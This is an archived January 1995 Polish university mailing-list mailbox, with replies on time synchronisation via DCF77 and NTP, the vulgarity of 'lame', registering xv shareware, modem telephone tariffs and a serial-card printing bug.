Internet: muhlig@usctoux1.cto.us.edu.pl  Voice: +48 (32) 588211 (1768)
                                         Fax:   +48 (32) 596847 
***** Imagine all the people sharing all the world (John Lennon) *****
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 17:05:12 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA14404; Fri, 20 Jan 95 17:02:51 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id QAA21231 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 16:57:40 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 15:44:58 GMT
From: rzm@dain.oso.chalmers.se (Rafal Maszkowski)
Message-Id: <3folpq$47s@Waldemar.mat.uni.torun.pl>
Organization: OSO
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <24A1F53446@sweet.iie.wsi.zgora.pl>, <3fmefl$4jp@sun1000.ci.pwr.wroc.pl>
Subject: Re: Ustawianie czasu-odbiornik DCF77

Marek Michalkiewicz (ind43@sun1000.ci.pwr.wroc.pl) wrote:
> Grzegorz Mielcarek (GMIELCAR@sweet1.iie.wsi.zgora.pl) wrote:
> Czy ktos wie, czy xntpd potrafi skorzystac z sygnalu DCF77 podanego
> na port szeregowy?  Gdyby tak bylo - Linux, xntpd, odbiornik DCF77...
> i juz mamy niedrogi time server.

Wiem, ze moze sie synchronizowac przez port szeregowy. W clock.txt i
ntp.faq sa wymienione jakies odbiorniki i formaty.

> Przy okazji, ciekawe byloby gdyby jeszcze Novell mogl sobie ustawiac
> czas przez siec z hosta unixowego.  Pozwoliloby to uniknac kupowania
> drogiego (bo dla Novella) oprogramowania...

Tutejszy SysAdm robi to przy uzyciu rdate, ktory sciagnal przez ftp z
serwera Novella.

R.
-- 
Rafal Maszkowski rzm@oso.chalmers.se      http://www.mat.uni.torun.pl/~rzm
Opinia publiczna powinna byc zaalarmowana swoim nieistnieniem - St. J. Lec
From markk1@ix.netcom.com Fri Jan 20 17:16:56 1995
Received: from ix3.ix.netcom.com by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15182; Fri, 20 Jan 95 17:15:51 +0100
Return-Path: <markk1@ix.netcom.com>
Received: from  by ix3.ix.netcom.com (8.6.9/SMI-4.1/Netcom)
	id IAA10383; Fri, 20 Jan 1995 08:16:19 -0800
Date: Fri, 20 Jan 1995 08:16:19 -0800
Message-Id: <199501201616.IAA10383@ix3.ix.netcom.com>
From: markk1@ix.netcom.com (Mark W. Kaliczynski)
Subject: Re: Brzydkie slowa [niestety jeszcze raz]
To: polip@zsku.p.lodz.pl

Jacek Piskozub <piskozub@iopan.gda.pl> pisal:

>Co to znaczy brzydkie slowo?

>Jesli ktos za brzydkie slowo uwaza tylko ch**, d***, p********, k****
>itd [cenzura wlasna - JP] to rzeczywiscie rzeczone slowo l*** nie
>jest wulgaryzmem.

>Istnieje jednak inna, malo w Polsce zauwazana, grupa wulgaryzmow.
>Sa to slowa (nazwy, epitety) majace jakas grupe ponizyc, osmieszyca
>i w inny sposob zochydzic. Do takich nalezy Polack w USA, Guglaj
>u nas (i setki innych przykladow). Amerykanskie slowniki slow
>wulgarnych (sa takie) zamieszczaja takie slowa na rowni z tymi
>pierwszymi (u mnie zagwiazdkowanymi).

Jedno znaczenie slowa lame jest "nieprzekonywujacy"; argumenty, co do
tej pory przytoczone, o wulgarnosci slowa lame sa nieprzekonywujace -
czyli lame. :-)

Jezeli chcemy gwiazdkowac wulgaryzmy to slowo Polack powinno byc
ogwiazdkowane poniewaz we wspolczesnym uzyciu, w USA przynajmniej, jest
ono uwazane za wulgarne. Nalezy dodac ze dawniej znaczylo ono to samo
co Pole teraz i po prostu z biegiem czasu zostalo uzywane w znaczeniu
ponizajacym i wulgarnym.

Tutaj mam zeskanowana definicje slowa Polack z Webster's slownika. W
znaczeniu drugim jest to wyraznie wulgarne slowo.

Polack, n. [from Pol. Polak.]
  1. a Pole. [Obs.]
  2. a person of Polish descent: vulgar term
 of prejudice and contempt. [Slang.]

Co do lame to jest to slowo uzywane, wbrew temu co Jacek Piskozub
pisze, raczej jako LAGODNY SYNONIM (ponizej w definicji ze slownika,
szczegolnie w miejscach zaznaczonych wykrzyknikami, mozna zuwazyc ze
synonimy sa znacznie ostrzejsze niz slowo lame) do opisu bardziej
dobitnych wyrazen. Slowo to jest bardzo czesto uzywane w USA w
potocznym zyciu. Dla przykladu nauczyciej do ucznia tlumaczacego sie
nieprzekonywujaco o nieodrobieniu zadania czesto powie ze jest to  lame
excuse . Lame Duck jest bardzo czesto uzywane do okreslenia politykow
siedzacych na stanowisku w okresie krotko po przegraniu wyborow etc.
Tutaj podaje definicje zeskanowana z Webster s Dictionary ktora, wydaje
mi sie raz na zawsze, wyjasni to slowo:

lame (la-ma), n. [Fr., lame, laminated from
lame, a plate or sheet of metal; metallic
thread, especlally gold or silver thread.] a
fabnc made of metal threads, especially of
gold or silver, sometimcs interwoven with
sllk, wool, or cotton: it is a heavy material
usually lustrous and rich, and often figured.

lame, n [Fr., from L. lamina, lamna, a thin
  piece of metal or wood.]
  1. a thin plate, usually of metal.
  2 [pl.] the thin, overlapping metal plates in
a plece of armor.

Iame, a.; comp. Iamer- supcrl. Iamest, [ME.
 lame; AS. lama, lame.|
  1. crippled; disabled, especially, having an
injured leg or foot; unable to use a limb or
Iimbs properly; limping; halting; as, a lame
man
  2. unsound from a defect or injury; crip-
pled; stiff and very painful; as, a lame back
or arm.

!!!3. poor; ineffectual- imperfect, not satis-
factory or convincing; hobbling; lacking in
smoothness; as, a lame excuse.
  Iame duck; (a) anything or anvone that is
disabled, inefficient, ineffectual, or helpless
(b) a speculator who is unable to fulfill his
obligatlons, especially a defaulter on the
stock exchange (c) a member of a legislative
body, especlahy (formerly) of Congress,
whose term extends beyond the time of the
election at which he was not re-elected.
  Lame Duck Amendment; the twentieth
Amendment to the Constitution of the United
States, which abolished the short Congres-
sional session, Lame Duck Session (after Oc-
tober 15, 1933), by requiring each Congress
to meet not less than once a year, beginning
January 3.
  Lame Duck Session; formerly, the session of
Congress immediately following the Novem-
ber elections which included members of Con-
grcss who had failed to be re-elected: abol-
ished by the Lame Duck Amcndment.
!!!Syn.-weak, faltering, hobbling, hesitating,
ineffectivemmpotent, crippled, halt, defec-
tive, imperfect.

Iame, v.t.; lamed, pt., pp.; laming, ppr. to make
  lame; to cripple or disable, to make imperfect
  and unsound; as, to lame an arm or a leg,

lame, v.i. to become lame.

Nalezy zauwazyc ze kazdy jezyk to jest tak jak zywy zmieniajacy i
przeksztalcajacy sie ciagle organizm i jezeli wystarczajaco duza liczba
ludzi zacznie uzywac slowo lame w nowym wulgarnym (tak jak Jacek
Piskozub:-) znaczeniu to z biegiem czasu zostanie to nowe znaczenie
zaakceptowane tak jak slowo Polack, kiedys calkowicie neutralne zostalo
zwulgaryzowane z biegiem czasu.

Mark 

-- 
Mark W. Kaliczynski
voice: +1-201-252-1797 ext. 255   fax: +1-201-252-1797 ext. 329
e-mail: markk1@ix.netcom.com
From PAWLAK@zeubac.desy.de Fri Jan 20 17:41:56 1995
Received: from AXDSYB.desy.de by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA15986; Fri, 20 Jan 95 17:38:01 +0100
Return-Path: <PAWLAK@zeubac.desy.de>
Received: from DECNET-MAIL (PAWLAK@ZEUBAC)
 by vxdesy.desy.de (PMDF V4.3-11 #6950) id <01HM2T4DS9NK90NA34@vxdesy.desy.de>;
 Fri, 20 Jan 1995 17:39:01 +0100
Date: Fri, 20 Jan 1995 17:39:01 +0100
From: Jerzy Michal Pawlak <PAWLAK@zeubac.desy.de>
Subject: Re: Jak zarejestrowac oprogramowanie sciagniete z sieci?
To: polip@zsku.p.lodz.pl
Message-Id: <01HM2T4DTPGI90NA34@vxdesy.desy.de>
X-Vms-To: VXDESY::IN%"polip@zsku.p.lodz.pl"
X-Vms-Cc: PAWLAK
Mime-Version: 1.0
Content-Type: TEXT/PLAIN; CHARSET=US-ASCII
Content-Transfer-Encoding: 7BIT

> Sciagnelismy z sieci nowego xv3.11 i chcielibysmy go zarejestrowac, zeby autor
> mial co jesc i my zebysmy legalni byli.
> No i nie wiadomo, jak to zrobic, zeby Uczelnia zechciala dac pieniadze.
> Uczelnia powinna miec fakture czy cos takiego, no a skad ja wezme fakture?
> Pomozcie byc uczciwym obywatelem.

Wez od Uczelni zlecone na temat 'instalacja oprogramowania graficznego'.
Dobierz tak, zeby honorarium (po odliczeniu podatku) zgodzilo sie z
oplata za rejestracje. Zarejestruj xv placac 'z wlasnej kieszeni'.

Michal
From krzysio@hebe.umcs.lublin.pl Fri Jan 20 17:46:56 1995
Received: from hebe.umcs.lublin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA16252; Fri, 20 Jan 95 17:44:49 +0100
Return-Path: <krzysio@hebe.umcs.lublin.pl>
Received: (from krzysio@localhost) by hebe.umcs.lublin.pl (8.6.9/8.6.9) id QAA16240 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 16:46:40 GMT
From: Krzysztof Mlynarski <krzysio@hebe.umcs.lublin.pl>
Message-Id: <199501201646.QAA16240@hebe.umcs.lublin.pl>
Subject: Re: Brzydkie slowa [niestety jeszcze raz]
To: polip@zsku.p.lodz.pl
Date: Fri, 20 Jan 1995 17:46:40 +0100 (MET)
In-Reply-To: <3fnonp$71l@sunrise.pg.gda.pl> from "Jacek Piskozub" at Jan 20, 95 08:59:41 am
X-Mailer: ELM [version 2.4 PL22]
Content-Type: text
Content-Length: 1201      

Jacek Piskozub wrote:
> 
> Fuj...
> 
> Uwaga: jesli jakis slow powyzej NIE zagwiazdkowalem, to tylko po
> to aby wywod byl zrozumialy. Jakichs porownan miedzy slowami nie 
> dalo sie uniknac. 
> 
> Pozdrowienia dla wszystkich, kiedykolwiek nazwanych l****ami!!!
> 
> Wasz trzykrotnie nazwany l****em
> 
Fuj... a moze zalozyc po prostu liste LAMERS-L dla lamerow i tam beda
mogli uzywac wulgaryzmow, sprzeczac sie itd. Np. w FidoNet jest taka
konferencja LAMERS.ONLY.PL i tam wlasnie mozna poruszac interesujace
takie srodowiska tematy. :-)

					Pozdrawiam Wszystkich,
						-Krzysio

--
  +---------------------------------------------------------------+
  | E-mail:                        =Unix/Network Security Expert= |
  | krzysio@hebe.umcs.lublin.pl    IRC:  Krzysio    Radio: SQ5ASM |
  | root@hebe.umcs.lublin.pl       Voice phone:   +48-81-37-56-76 |
  | 3W home page: http://hebe.umcs.lublin.pl/Krzysio/Krzysio.html |
  |                                                               |
  |     "You can't kill ... what was killed before ..."           |
  |                                     - unknown vampire         |
  +---------------------------------------------------------------+

From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 18:05:10 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA17337; Fri, 20 Jan 95 18:02:54 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id RAA22112 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 17:50:48 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 16:45:05 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3fopah$mr6@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3foi8d$jo0@hades.polsl.gliwice.pl>
Subject: Re: Jak zarejestrowac oprogramowanie sciagniete z sieci?

Justyna Dziuma (dziuma@zeus.polsl.gliwice.pl) wrote:
: Drodzy!
: Sciagnelismy z sieci nowego xv3.11 i chcielibysmy go zarejestrowac, zeby autor
: mial co jesc i my zebysmy legalni byli.
: No i nie wiadomo, jak to zrobic, zeby Uczelnia zechciala dac pieniadze.
: Uczelnia powinna miec fakture czy cos takiego, no a skad ja wezme fakture?
: Pomozcie byc uczciwym obywatelem.

sa dwa rozwiazania:

1. trzeba napisac do autorow, zeby przyslali 'INVOICE' czyli wlasnie
   fakture, w paczce lub liscie, z czyms co mozna uznac za licencje
    (kawalek papieru z napisanym wyraznie, ze jest to prawo do uzywania
   oprogramowania). Jak list/paczka przyjdzie, absolutnie nie otwierac,
   tylko popedzic do Urzedu celnego i tam przedstawic do oclenia.
   Z cla jestescie zwolnieni, z VAT'u tez, zreszta od licencji VATu sie
   nie nalicza. Invoice, opieczetowany przez UC,  jest podstawa do 
   przekazu pieniedzy za granice. Aha, w UC trzeba wypelnic SAD.

2. Wyplaca sie komus potrzebnej wielkosci premie/zlecenie. Ten ktos
   wysyla pieniadze autorom, tyle ze podszywa sie pod Uczelnie. Najlepiej
   zreszta, jak nie wysyla bezposrednio, a przez kogos kto juz tam jest.

jest jeszcze trzecie rozwiazanie: podajecie telefonicznie autorom numer 
sluzbowej karty kredytowej i oni zalatwiaja reszte - a w zasadzie ich bank.


J.
From pastupam@uoo.univ.szczecin.pl Fri Jan 20 18:41:57 1995
Received: from uoo.univ.szczecin.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA18246; Fri, 20 Jan 95 18:35:14 +0100
Return-Path: <pastupam@uoo.univ.szczecin.pl>
Message-Id: <9501201735.AA18246@zsku.p.lodz.pl>
Received: by uoo.univ.szczecin.pl
	(1.37.109.4/16.2) id AA14673; Fri, 20 Jan 95 18:36:31 +0100
From: Jerzy Pastusiak <pastupam@uoo.univ.szczecin.pl>
Subject: Modemowanie o 0.5nocy
To: polip@zsku.p.lodz.pl
Date: Fri, 20 Jan 95 18:36:29 MET
Mailer: Elm [revision: 70.85]

Nie wiem jaki byl ostateczny wynik proby dogadania sie z Telekomuni-
kacja w sprawie ulg dla Modemowcow i jakie byly argumenty przeciw tym
ulgom, ale wydaje mi sie, ze przestawienie zaliczania rozmowy z licznika
impulsow na polaczenie, od godziny np: 0:00.0 do 06:00 rano, wielu z nas    
ulzylo by finansowo, nie zubozajac TP. Czy mozemy sobie jakos' pomo'c?
Przesylam Pozdrowienia,
       Jerzy Pastusiak, <pastupam@uoo.univ.szczecin.pl>.

From zych@student.uci.agh.edu.pl Fri Jan 20 20:47:00 1995
Received: from galaxy.uci.agh.edu.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA20465; Fri, 20 Jan 95 20:42:29 +0100
Return-Path: <zych@student.uci.agh.edu.pl>
Received: from student.uci.agh.edu.pl by uci.agh.edu.pl (4.1/SMI-4.1)
	id AA05791; Fri, 20 Jan 95 20:43:49 +0100
Organization: University of Mining and Metallurgy
Address: Mickiewicza 30, 30-059 Krakow, POLAND
Received: by student.uci.agh.edu.pl (4.1/SMI-4.1)
	id AA10561; Fri, 20 Jan 95 20:43:23 +0100
From: zych@student.uci.agh.edu.pl (Zbigniew Zych)
Message-Id: <9501201943.AA10561@student.uci.agh.edu.pl>
Subject: Longshine 16 * RS
To: polip@zsku.p.lodz.pl (polip list)
Date: Fri, 20 Jan 1995 20:43:23 +0100 (MET)
X-Mailer: ELM [version 2.4 PL21]
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
Content-Length: 1417      

Witam...

Mam ogromna prosbe... Wlasnie zetknalem sie z karta
Longshine: ShineCom Multi-User Expansion Card LCS-8684.

Karta ta to 16 portow RS232 podpieta do SCO Unix.
Sa do tego podpiete terminale znakowe. Na niektorych
sa drukarki (przez dodatkowy port RS w terminalu):

+---+   RS   +---+   RS   +----+
|Dru+--------+Ter+--------|Komp|
+---+        +---+        +----+

Wszystko chodzi pieknie, dopoki sie nie drukuje.
Jesli jestem zalagowany na tym komputerze i zrobie
lprint (drukowanie na drukarce "lokalnej"), to sie
wiesza i czasami nie drukuje calego pliku...

Jesli natomiast zrobie rlogin na inna maszyne, to 
zdalny lprint dziala ok.

Moge tez zrobic rlogin na te sama maszyne i tez jest ok.
(Program nie ma wtedy dostepu do /dev/lttya05, tylko
do /dev/ttyp02....)

Kiedy robie via "cat plik" gdzie mam wpisane sekwencje
"iskejpowe" do pisania bezposrednio na drukarke - to tez
jest ok.

Konfiguracja jest ok - termcap (pola PN i PS).

Inne karty typu iles_tam * RS - dzialaja ok.
Problem jest tylko z ta karta Longshine.

Mam pytanie: czy ktos cos wie o jakis bledach
w tej karcie? czy moze tez cos wiedziec o sposobach
ominiecia tych bledow? Z gory dzieki...
							Zbigniew Zych

-- Zbigniew Zych     ircnick: Zyzio            home phone: 48+12-48.74.29
-- email&finger: zych@ernie.icslab.agh.edu.pl zych@student.uci.agh.edu.pl
-- <A HREF="http://www.uci.agh.edu.pl/student/inf4grp/zych">HomePage</a>
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 20:47:03 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA20469; Fri, 20 Jan 95 20:42:48 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA24765 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 20:42:17 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 19:42:11 GMT
From: tsurmacz@asic.ict.pwr.wroc.pl (Tomasz Surmacz)
Message-Id: <3fp3mj$nok@cyber.ict.pwr.wroc.pl>
Organization: Technical University of Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <2f198e11.norka@norka.immt.pwr.wroc.pl>
Subject: Re: Ustawianie czasu

Wojciech Myszka (myszka@norka.immt.pwr.wroc.pl) wrote:
|   Jaroslaw Rafa pisal:
| >                                Ale jaki jest sens takiego super dokladnego 
| > synchronizowania czasu, o jakim tutaj koledzy pisali?
|   ---
|   Oprocz wszystkich przyczyn, ktore podali inni jest jeszcze jedna:
|   kupuje sie komputer (komputery, stacje robocze...) o wartosci co
|   najmniej kilku tysiecy $, wlacza do sieci lokalnej, do jakiejs
|   sieci miejskiej (kilka mld starych zl) i nastepnie na kilkanastu
|   serwerwerach unixowych mamy kilkanascie roznych cazsow. No bo po
|   co ma byc jeden?

To moze jeszcze jedna...

Tak gdzies raz na dwa tygodnie (czasem czesciej) zdarza mi sie zauwazyc w 
logu serwera news na przyklad taka rzecz:

Top 20 sites sending bad articles:
   1 m2n-gate.ict.pwr.pl
...

Syslog summary:
Unknown entries from news log file:
Jan  8 22:34:49 cyber rnews: rejected 437 Article posted in the future -- "11 Ja
n 95 11:34:06 GMT"

Co oznacza, ze ktos na liste dyskusyjna wyslal list z data z
przyszlosci, list dotarl do mail2news, a ten poslal go do rnews, ktory
z kolei chcial go wepchnac serwerowi, ale serwer go nie chcial, bo mu
sie data nie spodobala.  Tak wiec artykul w rezultacie do newsow nie
trafil.

To samo zreszta moze sie zdarzyc, gdy korzystajac z jakiegos czytnika
news i majac ustawiona date z przyszlosci bedziemy probowali cokolwiek
wyslac.

Jako ciekawostke, moge jeszcze dodac, ze od czasu do czasu zdarzaja sie 
takze 'przegiecia' w druga strone:

Unknown entries from news log file:
Jan 09 11:06:05 cyber rnews: rejected 437 Too old -- "24 Nov 80 10:49:50 GMT"

a najczesciej wystepujaca data typu 'Too old' to 1 Jan 1980
(czy to komus cos mowi? ;-)  )

Tomek

--
 _________
(_   _' __) Tomasz Surmacz * ------------- * tsurmacz@asic.ict.pwr.wroc.pl
  |  (__  \ Institute of Technical Cybernetics, * tsurmacz@ict.pwr.wroc.pl
  |__(____/ Technical University of Wroclaw, Poland  * ----- * irc: TomekS
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 21:05:24 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA21636; Fri, 20 Jan 95 21:02:48 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id UAA24916 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 20:50:53 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 19:50:52 GMT
From: tsurmacz@asic.ict.pwr.wroc.pl (Tomasz Surmacz)
Message-Id: <3fp46s$nok@cyber.ict.pwr.wroc.pl>
Organization: Technical University of Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501171505.PAA06781@hebe.umcs.lublin.pl>, <3fh603$1a5@sun1000.ci.pwr.wroc.pl>
Subject: Re: Ustawianie czasu

Wojciech Myszka (myszka@immt.pwr.wroc.pl) wrote:
| Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:
[...]
| Oto naglowek z Twojego listu:

| Path: ci.pwr.wroc.pl!ict.pwr.wroc.pl!m2n-gate.ict.pwr.pl
| >From: krzysio@hebe.umcs.lublin.pl (Krzysztof Mlynarski)
| Newsgroups: pl.listserv.polip
| Subject: Re: Ustawianie czasu
| Message-ID: <199501171505.PAA06781@hebe.umcs.lublin.pl>
| Date: 17 Jan 95 15:44:35 GMT
| Sender: polip@zsku.p.lodz.pl

| O dziwo data jest GMT (choc, oczywiscie powinna byc UTC, bo GMT to juz chyba 
| zlikwidowali :-)

Zdaje sie, ze mail2news przerabia wszystkie znane strefy czasowe na GMT,
dodajac lub odejmujac oczywiscie stosowna ilosc godzin.  Kiedys probowalem to
przesledzic, bo tez mnie zainteresowalo czemu w news sa daty w GMT, podczas
gdy elm stemplowal listy jako MET lub MET DST...

Jakby komus sie chcialo bawic, moze wyslac list na adres
news.test@cyber.ict.pwr.wroc.pl, a nastepnie obejrzec co z tego wyszlo w
grupie pwr.test (dostepnej z serwerow news news.ict.pwr.wroc.pl i
sun1000.ci.pwr.wroc.pl)

Tomek

--
 _________
(_   _' __) Tomasz Surmacz * ------------- * tsurmacz@asic.ict.pwr.wroc.pl
  |  (__  \ Institute of Technical Cybernetics, * tsurmacz@ict.pwr.wroc.pl
  |__(____/ Technical University of Wroclaw, Poland  * ----- * irc: TomekS
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 21:27:00 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA22675; Fri, 20 Jan 95 21:22:48 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA25175 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 21:11:04 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 20:07:24 GMT
From: lis@asic.ict.pwr.wroc.pl (Jarek Lis)
Message-Id: <3fp55s$1kd@sun1000.ci.pwr.wroc.pl>
Organization: Technical Univeristy of Wroclaw
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <9501201735.AA18246@zsku.p.lodz.pl>
Subject: Re: Modemowanie o 0.5nocy

Jerzy Pastusiak (pastupam@uoo.univ.szczecin.pl) wrote:
: Nie wiem jaki byl ostateczny wynik proby dogadania sie z Telekomuni-
: kacja w sprawie ulg dla Modemowcow i jakie byly argumenty przeciw tym
: ulgom, ale wydaje mi sie, ze przestawienie zaliczania rozmowy z licznika
: impulsow na polaczenie, od godziny np: 0:00.0 do 06:00 rano, wielu z nas    
: ulzylo by finansowo, nie zubozajac TP.

E tam nie zubozajac. Skoro moga z nas zerznac, to dlaczego nie mieliby tego
robic?


Zyczenia doczekania konkurencji,
Jarek.
From news.polip@cyber.ict.pwr.wroc.pl Fri Jan 20 21:27:03 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA22682; Fri, 20 Jan 95 21:22:50 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id VAA25176 for polip@zsku.p.lodz.pl; Fri, 20 Jan 1995 21:12:25 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 20 Jan 1995 20:12:24 GMT
From: tsurmacz@asic.ict.pwr.wroc.pl (Tomasz Surmacz)
Message-Id: <3fp5f8$nok@cyber.ict.pwr.wroc.pl>
Organization: Technical University of Wroclaw, Poland
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501201616.IAA10383@ix3.ix.netcom.com>
Subject: Re: Brzydkie slowa [niestety jeszcze raz]

Mark W. Kaliczynski (markk1@ix.netcom.com) wrote:
| Jacek Piskozub <piskozub@iopan.gda.pl> pisal:

| >Co to znaczy brzydkie slowo?

[...]
| Nalezy zauwazyc ze kazdy jezyk to jest tak jak zywy zmieniajacy i
| przeksztalcajacy sie ciagle organizm i jezeli wystarczajaco duza liczba
| ludzi zacznie uzywac slowo lame w nowym wulgarnym (tak jak Jacek
| Piskozub:-) znaczeniu to z biegiem czasu zostanie to nowe znaczenie
| zaakceptowane tak jak slowo Polack, kiedys calkowicie neutralne zostalo
| zwulgaryzowane z biegiem czasu.

No i niestety w Polsce przyjelo sie ono JUZ jako wulgarne, a moze niezupelnie
wulgarne, ale obrazliwe, w stosunku do tego, do ktorego jest skierowane.
Zbyt czesto mozna po prostu uslyszec w odpowiedzi na rzeczowe argumenty, ze
jestes lame, co jest (moim zdaniem) szybkim slowem-wytrychem pozwalajacym
temu drugiemu odeprzec nasze argumenty spychajac je w sfere zastanawiania 
sie nad nasza znajomoscia rzeczy...

Takze jak widze gdzies l*e, l****row itp. itd., to mnie od razu odrzuca, 
a dokladniej - wyrabiam sobie odpowiednie zdanie co do autora.

Ale nie wiem, czy jest to dyskusja zupelnie na temat, wiec obiecuje, ze
dalej bede siedzial cicho..

Tomek

--
 _________
(_   _' __) Tomasz Surmacz * ------------- * tsurmacz@asic.ict.pwr.wroc.pl
  |  (__  \ Institute of Technical Cybernetics, * tsurmacz@ict.pwr.wroc.pl
  |__(____/ Technical University of Wroclaw, Poland  * ----- * irc: TomekS
From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 21 15:05:10 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07536; Sat, 21 Jan 95 15:03:07 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA09600 for polip@zsku.p.lodz.pl; Sat, 21 Jan 1995 14:50:19 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 21 Jan 1995 14:39:14 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3fr2q2$e9o@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <3fnonp$71l@sunrise.pg.gda.pl>
Subject: Re: Brzydkie slowa [niestety jeszcze raz]

Jacek Piskozub (piskozub@iopan.gda.pl) wrote:
: odmawia na liscie powiedzenia co co slowo wlasciwie znaczy, oskarzajac
: przy tym tych, ktorzy tego nie wiedza o... No wlasnie znow o 
: l***rstwo! Czyli, przetlumaczmy "debilizm w dziedzinie >jargon file<"

Musze zaprotestowac: Jargon File (pod redakcja Erica S. Raymonda, dostepny
m.in. jako http://www.uci.agh.edu.pl/jargon/ ) nie zawiera slowa "lame".
A tak poza tym, to wszystko swieta prawda.
--
                       Szymon Sokol -- Network Manager
U    U M     M M     M University of Mining and Metallurgy, Computer Center
U    U MM   MM MM   MM ave. Mickiewicza 30, 30-059 Krakow, POLAND
U    U M M M M M M M M TEL. +48 12 338100 EXT. 2885  FAX +48 12 338907
 UUUU  M  M  M M  M  M WWW page: http://www.uci.agh.edu.pl/~szymon/
From news.polip@cyber.ict.pwr.wroc.pl Sat Jan 21 15:05:13 1995
Received: from cyber.ict.pwr.wroc.pl by zsku.p.lodz.pl with SMTP (5.65/25-eef)
	id AA07539; Sat, 21 Jan 95 15:03:09 +0100
Return-Path: <news.polip@cyber.ict.pwr.wroc.pl>
Received: (from news@localhost) by cyber.ict.pwr.wroc.pl (8.6.9/8.6.9) id OAA09599 for polip@zsku.p.lodz.pl; Sat, 21 Jan 1995 14:47:08 +0100
Received: from NEWS GATEWAY by cyber with netnews
	for polip@zsku.p.lodz.pl (polip@zsku.p.lodz.pl)
To: polip@zsku.p.lodz.pl
Date: 21 Jan 1995 14:27:20 +0100
From: szymon@uci.agh.edu.pl (Szymon Sokol)
Message-Id: <3fr23o$csn@galaxy.uci.agh.edu.pl>
Organization: University of Mining & Metallurgy
Sender: news.polip@cyber.ict.pwr.wroc.pl
References: <199501191644.QAA12578@hebe.umcs.lublin.pl>
Subject: Re: Brzydkie slowa (Bylo: Sygnatura Krzysia)

Krzysztof Mlynarski (krzysio@hebe.umcs.lublin.pl) wrote:

: No moze w tym przypadku, to nie wiekszosc, a sami zainteresowani.
